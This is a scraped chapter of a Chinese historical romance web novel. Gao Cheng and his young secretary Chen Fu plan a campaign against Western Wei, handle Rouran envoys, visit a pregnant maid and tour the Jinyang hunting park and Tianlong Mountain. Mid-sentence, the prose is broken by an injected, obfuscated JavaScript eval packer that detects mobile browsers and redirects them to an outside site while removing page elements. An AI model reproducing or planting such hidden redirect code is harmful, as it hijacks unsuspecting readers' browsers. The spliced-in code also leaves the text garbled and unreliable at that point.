“重点讲一下第三路,河东道蒲津渡,”瞥眼高澄领口内的孝服,轻叹一声,“现有玉璧坚城阻隔,十万大军已折戟沉沙。未来十年内,此路不通。但稚驹向大将军献了二计。河东最难之处,非在玉璧,而在人心,谋的便也是人心。” “喔?阿扶所献何计?” “稚驹为我献得,”高澄拎起执壶,先将陈扶的茶杯注满,再为陈元康斟上,“是离间计与美人计。河东大族如柳、裴、薛等,皆派细作重金收买其族中二号人物,助其上位。开放与河东的盐铁贸易,让其明白,依附邺城比依附长安更有利可图。” 陈元康忙双手举盏,“如此谋之,日后攻打,城内或有内应,或后勤不继。不过,那美人计却是?” 高澄一笑,夹起薄鲙烫了几息,递至陈扶唇边,“让她说罢,原是她派去的‘兵’。” 黄河鲤鱼柔嫩鲜甜,待咽尽了,陈扶才道,“琅琊公主之姊元静仪曾犯死罪,问斩前求见孩儿,自请戴罪立功,伪装成南梁舞姬,去河东以美人计离间韦孝宽副将,她确是最善争宠,又有全家为质,孩儿便求大将军,给了个机会。” 她说话间,高澄叫来刘桃枝,示意添锅。羊脂随着旋起的汤面凝成金圈,本已沉底的羊肉复又上浮。 “对付韦孝宽,常规战场代价太大。构陷和刺杀是效益最高的选择,除了那元静仪,孩儿还谏言大将军,派出精锐刺客,伪装成商旅、流民、僧人,长期潜伏玉璧,伪造韦孝宽与我方密信,并散布谣言,构陷其勾连大魏,离间其与宇文泰。若有时机,亦可直接刺杀之。” 韦孝宽为人多智,善于用间,历史上斛律光被害死,就是因他令间谍在邺散布歌谣。时任北齐宰相的祖珽,与斛律光有私仇,便添枝加叶汇报给当时的北齐后主高纬。 堂堂北齐三杰之一的大将,竟被高纬令刘桃枝拉杀,韦孝宽没费吹灰之力,除掉劲敌。 哼,那便也让他尝尝,胜之不武的滋味。 陈元康点头,“雇佣间谍和刺客看似很贵,其实最省国本,派出去的但凡有一个成了,韦孝宽就得死。这三条进西路线,如此行之,必有可图。” “还有第四条,”陈扶眯眼一笑,“借道南梁。若能和南梁宗室联合,即可经襄阳、上洛,穿越秦岭武关道,进攻蓝田。” 陈元康啧啧一叹,“阿扶当真是,吃透了孙子所云之上兵伐谋,其次伐交啊。” “这才哪里,”高澄执起案角青瓷酒壶,为陈元康斟上温酒,“你若听了她的兵改之政,才要叹服,军师谋胜、宰相谋国,我的小小女史,二者竟兼之。” “?” “阿耶可知,宇文泰的府兵制与赐汉人将领胡姓,其实是在做什么?” 陈元康敛眉深思,几欲开口,又觉尚没摸到关窍,正暗自沉吟,陈扶看向锅中滚沸,提点道,“饭,不能总分锅吃。” “啊!”陈元康恍然大悟。 宇文泰邙山大败,士卒损失六万余,而关陇的鲜卑族人数有限,不能再补充军队。因此他开始抽调各地府兵,后又给这些汉人兵将赐鲜卑姓,看似是鲜卑化,实则是麻痹胡人对汉人加入的抵触,调和胡汉,将军权渐收中央。 “我们要做同样的事。”陈扶语气异常之坚,“给巴掌,是一定要补甜枣的,想收权,是一定要像宇文泰一般,给好处的。” 高澄放了箸,接口道: “稚驹谏言,借平叛侯景之机,以‘六镇精锐,穿插示范,提升全军战力’为名,抽调六镇兵入其他军中,所抽者加饷三成。豪强的私兵部曲,亦抽调部分至六镇兵中,对交出部曲的豪强,给予虚职、爵位或经济补偿。” “同时从汉人士兵中提拔将领,日常操练,须胡汉兵士协作完成,部分军功改为一人立功,全营受赏。” “好个温水煮蛙!”陈元康赞道,“胡兵涨了军饷,汉兵得了晋升,豪强拿了利处,实则,胡汉矛盾弥合,兵源徐徐纳入国家,大将军之权收拢也!” 陈扶笑笑,“阿耶所言极是。利之所归,众之所聚。夫功者,共济之业也,故欲建非常之功,必先收天下各势之心。” 尉景有一匹果下马,高澄见之甚爱,便向其索要,那尉景非但不给,还对高欢说:‘土相扶为墙,人相扶为王。一匹马也不让我养,却来索要!’ 最后,他不仅没要到,还因那小马,挨了高欢几十杖。 睨着身侧与那心爱小马格外相似的小脸,听着与尉景一般无二之言,高澄心底,似也如这锅汤般滚沸,那果下马没得手,然怀中人却是他的。 他冲陈元康眉梢微挑,分明是在调侃正主:我将你的孩儿养得如何? 陈元康怅然叹笑,那笑着实复杂,对女儿之才的震撼,与有荣焉的自豪,也有生了如此大才,作为父亲却未曾教导过的遗憾,最终,皆化作了对高澄的感佩。 他朝高澄诚挚拱手,“世子,臣唯有感激。阿扶若跟着臣,至多不过学成第二个陈元康,焉能有此吞吐山河之器局?” 陈扶有通读南北朝历史之先见,又多了千年之经验,便是只学学伟人思想,也足够引领战略,何需人雕琢,然她还是漾出个感激笑意,看向高澄, “阿耶正解。王猛若真跟着桓温南下,又怎能成为功盖诸葛第一人也?” 抬手覆上小臂上搭着的大手,轻轻一握,“大王之所以强攻玉璧,是感岁月不饶,然大将军尚才二十六岁,那宇文泰却将老矣,时间,已然站在大将军这边。” 高澄低笑一声,拿出一方缎面鸳鸯帕子,细细擦拭她沾着茶渍的指尖,“那稚驹便陪着我,将这锅汤细细烹下去。” - 秃突佳壮硕的身躯堵在案前,一张饱经风沙的脸因怒气泛着红。 “世子!我的话,就像石头一样扔在地上,听不见回响!” 高澄眉头微蹙,指尖在膝上敲了敲,语气尽量平和,“秃突佳,现在不行,再等等。” “又是这句话!我等不了!草原的雄鹰也等不了!”秃突佳双手重重拍在案上,带起股浓烈膻气,“公主更等不了!你必须立刻让她搬进你的寝殿!” 殿门被轻轻推开。 高澄看向来人,陈扶依旧穿着午前那身杏黄襦裙,只是颈间多了一样东西,一块垂在胸前的青玉牌,雕着繁复的狼首纹。 她走到高澄身侧跪坐,双手交叠身前,那玉牌正好落在她素白的手上,格外显眼。 秃突佳目光钉在那块玉牌上,眯起眼仔细打量,“这……这玉牌……” 陈扶用柔然语道:“是一位来自草原的朋友所赠。” 秃突佳猛地看向陈扶的脸,也换回了柔然语,语气急迫,“朋友?他叫什么名字?” “叱洛伦。他说,往后奴婢若去塞外,蠕蠕人会请奴婢喝最烈的酒,看最劲的舞!” “真的是他!真的是叱洛伦?!”秃突佳兴奋极了,“叱洛伦是我最好的阿干!小姑娘,你怎会认识他?他又为何将这贴身的东西给你?” “几年前在邺城,叱洛伦大人作为蠕蠕使者朝邺,我为他表演了剑舞,他便将这玉牌赠予了我。” 秃突佳重重一拍案几,“阿干喜欢的剑舞?!我也要看!”他转向高澄,“世子!今晚就设宴!我要看她舞剑!让我的儿郎们都看看,叱洛伦阿干赞赏的剑舞是什么样!” 高澄嘴角扯出一个无温度的笑,“既有此雅兴,孤自当安排。” 是夜,清凉殿。 柔然使团的汉子们搂着美伎,酒酣耳热,粗犷的笑语声不绝。宴至中程,乐声一变,从悠扬转为清越激荡。 陈扶手持长剑步入殿中,起势剑影绵密,如溪潺潺,忽而剑势迅猛,如风过林。飘逸身影随鼓点在烛光下翻飞腾挪,衣袂飘扬间,剑光织成银网,乐至高/潮,她一个凌厉旋身,剑尖倏地指向目不转睛的秃突佳,手腕轻巧一翻,剑尖托起美伎手中酒杯,稳稳递至他面前。 “好!”秃突佳霍然起身,接过那酒一饮而尽,抖着虬髯,大声用柔然语对左右吼道,“看到了吗!这是我阿干叱洛伦都称赞的勇士!” 趁此热烈气氛,陈扶收剑而立,对秃突佳笑道:“大人,世子并非不愿娶蠕蠕公主,只是需要时间,让一切合乎情理。大王尚未发丧,公主便已改嫁,岂非让不知情的天下人非议,让公主殿下受屈?叱洛伦大人若在,一定可以理解,真正的雄鹰,不仅懂得追逐,更懂得等待最合适的时机。” 秃突佳抹了把胡子,瓮声瓮气地说:“小丫头,你说得有理。但你要知道,你家世子磨蹭一天,我就晚一天回草原!我早在这晋阳城呆得不耐烦了!”他指着案上两只刚斟满酒的大碗,“不过,看在叱洛伦阿干的份上,你要是把这两碗酒喝了,我便再等等!” 高澄脸色骤沉,“她年纪小,不胜酒力。这酒孤陪你喝!莫说两碗,两坛也奉陪!” “诶!” 秃突佳大手一摆,“她是叱洛伦的朋友,就是我秃突佳的朋友,是朋友,就得喝!要么她喝酒!要么立马娶公主!否则,我的马队明天就护公主回草原,告诉可汗,你们高家背弃了盟约!” 陈扶双手捧起一只沉甸甸的海碗,将那一大碗辛辣液体尽数灌入喉中,也拦截了高澄开口之机。 之所以秘不发丧,就是要用高欢的余威震慑人心,一旦高澄娶了蠕蠕公主,相当于对外说高欢已死。 胃里顿如火烧,她强忍着不适,在柔然人的叫好声中,又端起第二碗,咕嘟嘟饮尽,放下空碗,对秃突佳展露一个带着酒气的笑,“奴婢现在和大人,可是朋友了?” 秃突佳哈哈大笑,“好!好呐!从今往后,你也是我秃突佳的朋友了!为了朋友,我愿意等!”揽着美人,冲高澄举起硕大银碗,“就依世子,等发丧之后再说!” 宴席散时,已是深夜。 在殿外候着的刘桃枝和甘露忙迎上二人。 看陈扶脸色难看,甘露忙去找了个盂盆,刚伸到她脸前,就“哇”地一声,吐了半盆,甘露手一抖,自己也跟着干呕起来。 待人吐尽了,高澄把个软绵绵的人儿整个托抱起来,那姿势,跟她还只有丁点大时一模一样,可如今她身量早就长了,这么抱着,两个长腿悬在外头,瞧着极别扭。 “不能喝还逞能……”高澄低低斥了一句,一只手在她背后轻轻拍着,像哄夜啼的娃娃。 抱着人走了两步,回头瞥了眼甘露那难受样,转而对刘桃枝吩咐:“找个医官给她看看。” 进了寝殿,高澄把陈扶放在他那张宽大的榻上。 宫人端来温水,他接过递到她嘴边,“漱漱口,别咽了。” 她醉得迷糊,勉强漱了漱,又瘫软下去。醒酒汤送来,他哄着笑着,一勺一勺地喂,好容易填进去了,她又皱着眉哼哼:“……臭……要沐浴……” 高澄低头在她发顶嗅了嗅,哼笑一声,“哪儿臭了?是香泽的味儿。”又凑到颈间闻了闻,“恩,是有点汗味。”说着,接过宫人递上的热巾子,给她细细地擦。 她还不依,扭着身子非要下去。 高澄也不擦了,巾子一扔,搂着她倒在榻上,长靴一捋一踢,像她小时候无数个午后一样,拉过锦被将两人盖住,让她枕着自己胳膊,另只手有一下没一下地拍着她。 “睡吧,睡吧。” 怀里人起初还不安分地动了动,许是这熟悉的怀抱让她安心,没多久,就抓着他胸前那片衣襟合上了眼。 陈扶的意识从一片混沌中挣脱,但仍沉甸甸的,像是隔着一层毛琉璃。发现自己被高澄圈在怀里,还枕着他胳膊,一瞬恍惚,许是醉意让她懒得动弹,终是没有挣开。 高澄察觉到她动静,低头看她,“醒了?难受么?” 怀里人仰着脸,醉眼迷蒙地瞧着他,看了好一会儿,忽然轻轻笑了一下,那笑容说不清道不明。 “大将军……”她慢悠悠地说,“……可真会照顾人。” 这话听起来像是称赞,但搭配上她的神情和语调,分明裹着层薄薄的刺。 她在清醒时,绝不会用这种语气跟他说话。 他哼笑一声,盯看她道,“是啊,就只这么照顾过你。便是我那几个亲妹,也没这般待遇。” 陈扶听了,却只是又笑了一下,把半张脸埋进他胸前的衣料里,闷闷的声音传出来,“呵……谁信呢。” 高澄被她这句噎住,看着那埋在自己怀里、拒绝再交流的后脑勺,一时竟不知该气还是该笑。他想扳过她的脸让她说清楚,为何不信?可看着她难得显露的依赖姿态,心头那点不悦又化成了柔意。 最终只是收紧了手臂,低声道:“没良心的小东西……” 几天后一个午后,陈扶正整理河南军报,高澄翻着一卷文书,轻咳一声,“哦,对了,那个甘露……往后就别让她在你跟前伺候了。” “为何?” 高澄放下文书,拿起茶杯,掩住飘忽地眼神,“她如今身子不便了,需要静养。” 陈扶这才停下手,看向他,“身子不便?她病了吗?” “不是病……是,她有了身孕。”他停顿了一下,观察陈扶的反应。见她困惑望着他,显然在等一个合理的解释,心中那点尴尬更盛,“这个……你年纪尚小,本不该与你说这些。但既然说起……你可知,男女之间,若……若气息交融,口津相渡,便是……便是阴阳交汇之始,有可能凝聚胎气,孕育子嗣。咳,我与她……恩。” 终于说毕,高澄心下一松,用‘亲’作为解释,显然比同房清白许多、也更容易让小孩子理解。 陈扶脸上浮现出惊讶,随即化为一种受教的认真,轻轻点头,“原来如此。竟是……这般缘故。”她垂下眼睫,语气温顺,“稚驹受教了。” 见她如此‘信服’,刚松的心又是一紧,一种警觉涌了上来。他目光锁住陈扶,尤其在她的唇瓣上停留了一瞬,摆出一副严肃的表情,“此事关乎女子名节,绝非儿戏!你记住,方才所言之事,在明媒正娶之前,绝对、绝对不可与任何男子尝试!半分念头都不许有!听到没有?” 陈扶抬起眼,微微偏头,纯然求教:“为何甘露可以呢?” “……” 看他脸上竟罕见地浮出一丝红晕,陈扶轻笑一声,“稚驹明白了!定是因为大将军心怀仁厚,见她孤苦,特意施恩,助她后半生有靠,是也不是?就像……就像医者治病救人一样!”她说着,还用力点了点头,一副‘我懂了,大将军真是大好人’的表情。 高澄被她这突如其来的转折弄得一愣,随即反应过来,紧绷的心弦猛地一松,顺着台阶就下,“你明白就好,她毕竟是你身边得力之人,性子也算温顺。我总不能……置之不理。既有了身孕,便安排在别院静养,也全了你主仆之情,显得我们不是刻薄人家。” “大将军思虑周全,是甘露的福气。” - 窗棂外,杨柳已抽出浓绿新条,暖风带着泥土草木之气卷入殿中,却吹不散满屋的燥气。 七八位将领毫无所忌地围着主位上的高澄,正吵得面红耳赤。 “世子!”一满脸虬髯的将领拍着大腿,“那侯景老贼为何造反?还不是被崔暹那厮往死里逼的!韩轨去打,不也吃了瘪?依我看,把崔暹的脑袋砍了,给侯景送去,这事儿准能平!” 他话音未落,旁边一精瘦的立声附和:“说得对!杀一个崔暹,换来河南安宁,这买卖划算!” “就是!崔暹平日里眼睛长在头顶上,老子早就看他不顺眼了!” “杀崔暹,谢天下!” 厅内顿时一片嗡嗡声,如同炸开了锅。 高澄转着指间小戒,脸上没什么表情,仿佛满堂争吵,与他并无关系。 陈元康从角落凑前,扬声压住嘈杂,“诸位!此言差矣!昔日汉景帝听信袁盎之言,诛杀晁错,欲息七国之怒。然则,吴楚之兵可曾因此退去?非但没有,反而气焰更张!今若杀崔暹,与昔日杀晁错何异?不过是让忠义之士寒心,令跋扈之徒快意罢了!” 他刚说完,一直跪坐在高澄侧后方、安静煮茶的陈扶,将一杯刚煎好的茶轻放在高澄面前。抬起眼扫过众将,肃声道,“陈将军所言,乃是至理。以斗争求和平,和平存,以妥协求和平,和平亡,能胜方可和,能守方可盟!”* 高澄端起茶,慢条斯理地抿了一口,目光落在一直沉默的慕容绍宗身上。 “慕容将军,那侯景放言,除大王外,当世再无可制他者,蔑称韩轨为‘啖猪肠小儿’,将军对此有何高见?” 慕容绍宗应声出列,抱拳道:“回世子,此乃贼酋狂悖之语。河南四战之地,连年受战,田地荒芜,就算打不过他,断了他粮草,困也困死了他,又有何惧?!” 高澄‘恩’了一声,“那便劳公走一趟,去告诉他……”凤目骤然锐利,“大王虽逝,能制他之人,尚在!” 慕容绍宗慨然道:“臣,愿为世子,为社稷,擒此贼!” “好!”高澄长身而起,袖袍一挥,“你只管前去!我即刻便要往邺城,届时上表朝廷,拜你为尚书左仆射!此战,许胜不许败!”扫回众将,方才还叫嚷不休的几人,无人再敢与他对视。 众将鱼贯而出,殿内一时空寂。 高澄揉了揉眉心,刚想对陈元康说些什么,却见殿门边,一颗小脑袋鬼鬼祟祟探了进来,用鲜卑语小声喊着高澄的小名:“子惠阿兄……” 是高湛。 “步落稽,你又来做什么?” 高湛笑嘻嘻溜进来,眼睛直往陈扶身上瞟,“我来找稚驹姊姊,她说好今日教我握槊的。” 高澄故意板起脸,“你都多大了?整日就知道玩!你看看你六兄,不是读书,便是在家家跟前侍奉,何曾像你这般闲散?自己玩也罢了,还要占着我的人?” 高湛扯住高澄袖子摇晃,“我的功课都做完啦~阿兄~就让她陪我去嘛~” 高澄被他缠得无法,思及陈扶连日劳神,也确实该松快松快,便挥挥手,“去吧去吧。” 高湛欢呼一声,拉起抿嘴轻笑的陈扶就往外走。穿过几重殿门,只剩两人后,高湛松了手,像只脱缰的马驹,快走几步,又转过身来,倒着走,一双亮晶晶的眼睛盯着陈扶。 “稚驹姊姊,你方才在里面,说话的样子真厉害!”他学着陈扶的语气,却学不像,“‘以斗争求和平,和平存’……那些大胡子将军听得发愣,都不吭声了!” 陈扶唇角微弯,“我不过引用罢了,而说此言者,确是世间最厉害之人物。” 高湛凑近些,“虽然你很厉害,然我今日握槊定能赢你!我可是偷练了好久!” 到了他的小书斋,设好棋枰,两人对坐,高湛迫不及待地发起进攻,手法确比起月前凌厉了不少。陈扶不疾不徐地应对,偶尔会在他落下关键一子时,轻轻“咦”一声,露出惊讶。 这声惊讶让高湛更加得意,下巴微微扬起,像只开了屏的小孔雀。他下得更快,嘴里还不停,“稚驹姊姊,你看我这步怎么样?阿兄总说我只知道玩,可他不知道,握槊也要动脑筋的!就像你刚才在殿上动脑筋一样!” 陈扶拈着一枚棋,“大将军也是望长广公成材。” “我知道,”高湛撇撇嘴,小声嘟囔,“可我也没不成材啊……诶,这步不算,我重下!” 他眼见要失子,忙要伸手悔棋。 陈扶却已先一步将他的棋子按定,抬眸看他,“落子无悔,步落稽,这可是规矩。” 高湛看看她按在棋上的手,又看看她带着笑意的眼睛,乖乖收回手,只是嘀咕了一句,“稚驹姊姊心好狠。”最终仍是输了,仍如三月来每次那般,揪着棋局的一处关键,缠着陈扶讲解半天。 晋阳城东南隅一处三进宅院,白墙青瓦,门庭不显,院内却收拾得极干净,几株石榴树正开着火红的花,却静得有些过分,只闻偶尔鸟鸣。 陈扶带着一挎着药箱的侍婢,由苍头奴引着,悄步走入内室。 “可是大将军来了?” 帘幔后传来一个带着惊喜与急切的女子声音,话音未落,陈扶已走了进去。 看清来人,她眼中光亮迅速黯淡,又转为愧色,“仙主。” 甘露身着质地良好的锦衫,腹部已隆,脸上丰润了些。陈扶笑笑,目光一转,落在她刚放下的绣绷上——那是一块极柔软的素色细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724502|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棉布,上面用彩线绣着憨态可掬的虎头图案,针脚细密均匀,栩栩如生。旁边的针线筐里,还放着几件已做好的小肚兜、虎头鞋,无一不精致。 “手艺愈发精进了。” 甘露顺着她的目光看去,脸上露出丝母性的柔和,又被落寞覆盖。“整日无事,也只能靠这些打发时间。” “身子可还好?” “好,都好。”甘露手抚上微隆小腹,“医官五日一来,吃的用的,宫人都挑最好的按时送来。”她说着,声音渐低了下去,“就是……太静了。静得发慌。” 她眼里带着迷茫,“仙主从前与我说,跟了他,最好的结局,便是在一处安静院落里,教子度日。这算不算是……熬出头了?有了这孩子,下半辈子,吃穿不愁了。” “安心养着,找些趣事爱好来做,至于其他,多想无益。” 甘露眼圈微微发红,扯出一个比哭还难看的笑,“是,奴婢能怀上,已是天大的运气,不敢再奢求别的了。”她声音更低了,带着认命的凄然,“大将军他……怕是早已忘了这处门朝哪开了,头两个月还来过两回,这都一个多月了,影子也不见……” 陈扶无法回答,总不能告之,高欢已故,高澄没了避忌,身边已有了新人,亦不好许她空头之希望。 她想了想,在她的绣样筐里细翻了翻,拿起一方帕子,宝蓝色的锦缎上,金银线绣出的海东青振翅欲飞,羽翼锐利,是高澄所喜之风物,她将帕子纳入袖中,“我替你带给他。” 甘露怔怔地点了点头,陈扶留下些补身的药材,又嘱咐了侍婢几句,便起身离开了。 晋阳宫内 陈扶将一盏新茶置于高澄手边,从袖中取出那方帕子,“甘露近日闲着,绣了不少物件。这个是她新做的,托我带给大将军,”指尖在那鹰隼上一点,“她说……大将军正如这海东青,目光如炬,明见万里。如今虽暂栖晋阳,终有一日必当凌霄直上,令天下俯首。” 高澄目光从文书上抬起,看着帕子上神采飞扬的雄鹰,忽想起正月时,曾对陈扶随口夸过一句海东青,难为甘露在旁,竟记下了。当初因她那帕子上绣了一对活灵活现的鸳鸯,还让他多看了她几眼,再一细想,却想不起那方鸳鸯帕子搁在哪了。 “大将军若得空,便去坐片刻,看看她为孩儿准备的小衣小鞋,她心情若佳,对腹中孩儿原也是好的。” 他‘嗯’了一声,看回文书,“过两日得空便去。” 陈扶无声一叹。 她尽力了,她能帮甘露争取利益,却无法帮她留住人心。 高澄批完手里那本,撂下笔,向隐囊一靠,见陈扶静立一旁,眉眼清寂,恍然出神,忽想起一事,脸上倦意一扫而空,泛起生动的神采。 “走,带你出去走走。” 陈扶微微一怔,“现在?那这些文书……” “回来再看吧,文书安有批完的时候。”他站起身,活动了一下肩颈,拉着她朝殿外走,语气里满是兴致,“待段韶一来晋阳,便要出巡各州、朝邺,这一去不知几时能回。” 出了宫门,他回过头看她,“某人去年生辰时,不是说晋阳是‘梦中故乡’么?来了这小半年,净圈在宫墙里了。今日正好,带你去认认‘家门’。” 最后一句带上了调侃笑意,笑她小女孩家不着边际的梦话,也笑自己对这梦话记得分明。 马蹄嘚嘚,一路向东。 高澄屏退左右,令亲卫远远跟着,只二人共乘一骑,聊着笑着,在起伏的草甸上漫行,颇有偷得浮生半日闲的惬意。 “晋朝名臣刘琨扩建晋阳城,因城墙长达十三公里,也叫展筑城。晋阳控带山河,地势险要,易守难攻,城墙又长又高,所以刘琨才能扛那么久。” “还有呢?” “自尔朱荣把大本营霸府设在了晋阳城,遥控洛阳,晋阳便有了国都之实。” “还真是个小晋阳通,”高澄侧头看怀里人,“不过,你的梦中之家,怎么不在城里,倒在这东边城外地界儿上?”俯身凑近她耳畔,假意威胁道,“说,谁告诉你高家苑囿在此的?” “高家苑囿?” “恩,你不是听了苑囿在此,才来的么?”说着,汾水之畔,东郊林木丰茂之处,显出一圈高高栅栏,极目一眺,能望见苑中丛林。 “这儿是大王狩猎避暑之地。” 他催马近前,卫兵忙执军礼,深入苑囿,但见林木之间梅花鹿、麋鹿的身影倏忽而过,野兔、狐狸在灌木中穿梭。 “不带你往更深处去了,里头圈着豹子,华北虎,今秋还要放养黑熊进去,待到冬日落雪,我带你出猎,再好好瞧瞧。” 转路而行,花草渐丰,风景绝佳处,散落着亭台楼阁,苑丞、典囿署令等陆续来见,圉师、兽师、卫兵、仆役,更是不知见了多少。 “大将军,你对徐颖有印象么?他字显秀,现下应是个参军,他有一枚嵌蓝宝石金戒指,上刻有持矛与盾的小人。” “徐显秀啊,为何问起他?连他有何戒指都知……难道说,”他声音压低,带着笑,“你私下在此处,会过他?” 陈扶瞥他一眼。 她前世的家就在这个方位,古汾河河道比后世的偏西,她寻摸了半天才定到方位,结果是高家苑囿。 之所以问徐显秀,是因她前世的家挨着的北齐壁画博物馆,乃是依托徐显秀墓所建,她见过他的戒指展出,有此一问,不过触地生情。 看她不欲作答,高澄直起身,也不再问,将马引至一处高坡,“既来了,便与我做个参谋。”他抬手一指,“那里,要引汾水支流,造一片曲沼,植满白莲,可养白鹅,池边筑个草堂。你觉得堂内,是种红枫好,还是种棠梨,更合此间野趣?” “枫赤梨白,各具风骨。若论野趣,枫叶经霜似火,宜对酒横琴;棠梨春深积雪,合煎茶清谈;亦可梨下弈棋,枫里试剑。大将军若欲四季得景,不如东植丹枫,秋来可醉霜天;西种棠梨,春深坐看飞雪。待得池畔风来,枫声梨香,如梦似幻。” “妙极!好个‘剑气惊红雨,棋声碎玉英’。便依稚驹所言,让赤霞白雪各占一隅。来日堂成,我们便来此对酒横琴,煎茶清谈,对弈比剑。”高澄兴致愈浓,又扬鞭一指,“那边坡上,起一座高台,要比铜雀台更高……” …… 正谈着风花雪月,一圉师捧着一只雏鹰上前,低声禀报。 二人下马,高澄示意圉师将雏鹰递至陈扶面前,“这批里性子最野的,你若不怕它挠人,便交由你养,名字也由你取。” 那猛禽虽未长成,琥珀色眼珠却已凝着凶光,铁灰色的喙微微张开,发出威胁的嘶鸣。她伸出手指,在离它半寸处虚虚拂过,感受着它茸毛下紧绷的敌意。 “稚驹连自己难养,怎敢耽误它。”她收回手,“这般烈性,既不服驯,不如打开金笼,还它一方天地吧。” 高澄闻言低笑,轻轻掸掉她袖间沾上的茸毛,“恩,前句着实有理,喂你确比喂它要难。”他迅疾出手,猛地攥住雏鹰利爪,任它扑棱着撞着金丝笼,“不过,后句便错了。既已到了我手里,要么学会低头啄食,要么——就给我饿死。” 陈扶眉头一蹙,转头望向西边山峦,“既出来了,带稚驹一并去看了天龙山石窟,可好?” “好呀,不过去之前,再去个地方。” 是苑囿里的跑马场。 春日草场新绿,几匹骏马正悠闲踱步。 高澄令驯马师挑匹温顺的,不多时,便牵了匹桃花马而来。那马通体枣红,唯额间缀着团白毛,高澄抚过马鬃,转头对陈扶笑道:“待你能独自策马小跑一圈,我便带你去。如何?” 陈扶这才明白是要教她骑马,转念一想,骑马确实对之后随他四处巡幸以及随军有用。 “好呀!”陈扶眉眼一弯,学着他戏谑的语气,“大将军既允文允武,女史岂能只识文书、不谙骑乘?” 说着,便在高澄的托举下,翻身上了马。 高澄抓住她脚踝,“踏稳马镫,脚心虚空,三分实,七分虚,给我牢牢记着了,这能保你便是坠马,也不至被拖死。” 见她紧张地抓住鞍桥,嗤笑一声,“怕什么?有我在此,还真能让你摔了不成?”一手扶腰,另一手覆在她执缰的手上,“腰背挺直,目视前方……马通人性,你弱一分,它便欺你三分。” 他时而厉声纠正,“缰绳松了!” 时而又在她稳住节奏时,于耳边赞一句,“不算太笨。” 待马匹小跑起来,他不动声色撤了力道。 一圈跑完,她勒转马头时,竟已紧张地颊生红云,几缕青丝被汗黏在鬓边。 “恩,明明害怕还是不松缰绳,不愧是我高子惠的女史。” 她策马近前,垂目笑问,“除了去天龙山,可还有奖励嘛?” 高澄眯眼想了想,走向马场旁的柳树旁,折下几枝新生柳条,三两下编作环状,近前抛在她发顶上,“赏你的。” 见她捞过那柳环,指尖捻了捻粗糙的枝条,似不大满意这寒酸奖励,嘴角勾起抹深意的笑,“及笄礼时,给你换副纯金的。”略一沉吟,又从腰间解下一枚小巧金印,塞入她手中。“大王留下的一方私印,赏你了。” 眼底笑意更深“凭此印,苑囿马监的良驹,随你调用。” 山道崎岖,二人并骑而行。 时有身披赤袈裟的高僧往来,手中念珠轻转,带过丝缕檀香,格外清宁。 高澄目光落在身侧的少女身上,她一身鹅黄,骑在桃花马上,像雪化后初绽的嫩芽,轻灵在春光之中。高澄望着她,只觉她就像这天龙山一般,时而桃花灼灼,时而薄雾翻卷,时而天高云淡,时而玉宇无尘,一年四季,总有观不尽的景致,赏不完的佳境。 行至半山,已闻斧凿叮咚,工匠如蚁,攀附在崖壁之上,正潜心雕琢。二人下马,登上临时搭建的木台,俯瞰这宏大工程。 望着崖壁上渐显轮廓的造像,陈扶轻轻一叹,“人力有尽,佛法无涯。” 夕阳正斜,将天空染成一片赤金,余晖洒在她的侧影上,天真又庄严。高澄不自觉放柔了眉眼,笑回:“石刻竣工那日,便题此字。” 近身一处,已有一窟初具规模。 她下了高台,穿过葱郁苍翠一截山路,在那佛窟内驻足。造像贴壁圆雕,有佛像、菩萨像、罗汉像,大至数米,小仅盈寸。窟内烛火摇曳,香火冉冉,肃穆而静谧。 看她伫立良久,却不言语,高澄笑问,“可是心里在许愿?”不等她回答,便学着小孩子乳糯的语调道,“求佛祖菩萨保佑大将军,身康体健,长寿延年,无灾无难?” 陈扶垂目一笑,“同样的愿望,佛祖既已收到,应不必再求了。”忽又凝神细思了思,“然已过去六年之久,佛祖该不会忘了吧?” 高澄失笑,“忘了还是无不了知的佛么?既已求过,便许你自己的吧。” 陈扶怔了怔,她向来反求诸己,从无向外祈求之习惯,一时竟不知该求些什么。 沉吟片刻,才轻声道:“保佑安乐?” “这不必佛祖保佑。有我在,自会护你周全,予你安乐。” 陈扶目光依旧落在佛像上,声音轻得像叹息,“世事难料,总有大将军……伸不上手之时。” 话音落下,两人似同时想到了什么,空气凝滞一瞬。 高澄从佛前香盒里拈出三柱长香,就着香烛点燃,青烟笔直升腾,缭绕在佛像慈悲眉眼间,仿佛真能沟通两界。 诸佛之下,他道: “弟子高澄,自负智计,平生纵横,无所畏惧。唯有一事,思之……后怕。求神佛保佑,无论何时,无论何地,赐弟子一念感应,一线灵犀,让弟子知她所在,莫失莫忘,勿分勿离。” 陈扶眼睛一酸,热意漫上眼眶。 哈,她终非草木。 然,那一丝妄念,如石火,如电光,弹指刹那,便已寂灭。她转身假意看向窟外,拭去了那滴不听话的眼泪。 窟外石阶上,一个小僧正执着扫帚,扫着被风吹落的桃花。 “做不到本来无一物……那便时时勤拂拭……” 高澄听了一耳朵,只当她看那小僧扫地,心有所感在参禅。不由眉头一蹙,他不喜她过于超然物外,上前一步揽住她,将她带回佛窟。 “做小王猛便好,不必做什么小圣人。岂不闻只羡……”他将临到嘴边的‘鸳鸯’咽回去,换一词道,“只羡红尘,不羡仙?参禅无趣,有我护着你,就在这红尘之中同乐,岂不好?” “大将军所言有理,稚驹小小年纪,未曾拿起,谈何放下?” 高澄眼底亮了亮,“这才像句明白话。”替她拢好鬓发,附耳笑问,“还没想好许何愿?” “想好了。” 她旋身面向佛像,顺势脱开他怀抱, “求神佛保佑他成不世之功,开天下太平,弟子必将安危与共,桴鼓相应,同舟同渡,不离不弃。” 36.第36章 三月底,春寒未褪,为安抚东境不被侯景所乱,高澄自晋阳起驾,巡幸各州。 游弈轻骑提前两日探路清道,直阁精锐护驾于前,高澄乘一双马驾辕的青盖安车居于正中,文辅典官乘青幔羽葆马车紧随其后,十辆满载粮秣、医械,及绸绫丝葛、钱绢等物的辎车压阵,后跟数十杂役奴仆与五百轻骑,威仪赫赫向东而去。 